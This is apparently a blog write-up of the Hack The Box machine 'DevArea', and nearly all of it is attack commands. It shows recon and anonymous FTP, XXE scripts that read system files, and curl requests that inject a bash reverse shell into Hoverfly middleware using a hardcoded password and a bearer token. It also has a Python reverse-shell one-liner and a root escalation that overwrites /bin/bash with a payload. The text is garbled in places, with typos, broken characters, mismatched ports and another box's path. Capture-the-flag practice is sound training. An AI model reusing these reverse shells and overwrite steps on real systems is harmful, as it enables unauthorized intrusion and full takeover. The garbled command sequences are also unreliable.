Devarea pwned

DevArea HTB Writeup


Introduction

DevArea presents a realistic development environment with multiple privesc vectors exploiting misconfigured services and world-writable system binaries. From anonymous FTP to Apache CXF XXE and Hoverfly middleware injection, this box tests reconnaissanceservice enumeration, and creative privilege escalation.

Recoannaissance

Command: nmap -Pn -A 10.129.1XX.XX

Ports Summary

Copy code21/ftp vsftpd 3.0.5 โ†’ ANONYMOUS LOGIN! 22/ssh OpenSSH 9.6p1 80/http Apache 2.4.58 โ†’ devarea.htb redirect 8080/http Jetty 9.4.27 8500/http Go proxy server 8888/http Hoverfly Dashboard (Go)

Hoverfly Dashboard Reconn:
Command: gobuster dir -u http://10.129.XXX.XX:8888/ -w /usr/share/wordlists/wfuzz/general/big.txt -x json

Command: ftp 10.129.X3X.XX

Command: anonymous

Command: cd pub

Command: -ls la

Command: get empl……..jar

Command: unzip employee-service.jar

Command is as followed:

Command: ./dev_area_xx “devare.htb:8080/employeeservice”

Note that we have dev_ryan + syswatch

Command: ./devarea_XX.sh “” “/etc/group”

Command: ./dev_xss.sh “” “/etc/systemd/system/”

Command: ./devarea.sh “” “/etc/systemd/system/”

Command: ./devarea_xxx.sh “” “/etc/systemd/system/hoverfly.service”

Command: (rootใ‰ฟkali)-[/home/โ€ฆ/HTB/Seasons/10/Kobold]
โ””โ”€# curl -X PUT “http://10.12X.XX.6XX:8888/api/v2/hoverfly/middleware” \
-u admin:O7IJ27MyyXiU \
-H “Content-Type: application/json” \
-d ‘{
“binary”: “bash”,
“script”: “bash -i >& /dev/tcp/10.XX.XX.X1/3451 0>&1”
}’

I have started burp suite to see on which endpoint is it hitting:

The following payload was endpoint was identified

POST /api/token-auth HTTP/1.1

Make sure the the listenenr is running on desired port 4444

now run the following command: curl -X PUT “http://10.129.2XX.X4:8888/api/v2/hoverfly/middleware” \
-H “Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU5OTg3MjEsImlhdCI6MTc3NDk1ODcyMSwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.g9EYv8c_NSfWs1wPn5927KrOwPXiUEO8X1wJbMfKkmtiZwkw15RXvlP7ELxZA-1cYe5YUEnHes2vva7YtGxhUA” \
-H “Content-Type: application/json” \
-d ‘{“binary”: “bash”,”script”: “bash -i >& /dev/tcp/10.10.XX.XX/9444 0>&1”}’ && curl “http://10.129.XXX.XX:8500” –proxy “http://10.129.XXX.XX:8888”

Confirm the shell is landed, execute the following commands:

Command: ls

Command: cat user.txt

Privilege Escalation to ROOT

Command: nc -lvnp 4444 in terminal 2, keep the first session up

Command: python3 -c ‘import socket,os,pty;s=socket.socket();s.connect((“10.10.XX.XX”,5332));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’

Command: id, after you received the connection in terminal 2

In terminal 2, execute the following commands:

Command: lsof /bin/bash

Command: kill -9 1234 1234 1234

cp /tmp/bash_payload /bin/bash, ls -la /bin/bash

Command: python3 -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’

Command: id

Command: cd /root

Command: cat root.txt

Tags

Leave a Reply

Your email address will not be published. Required fields are marked *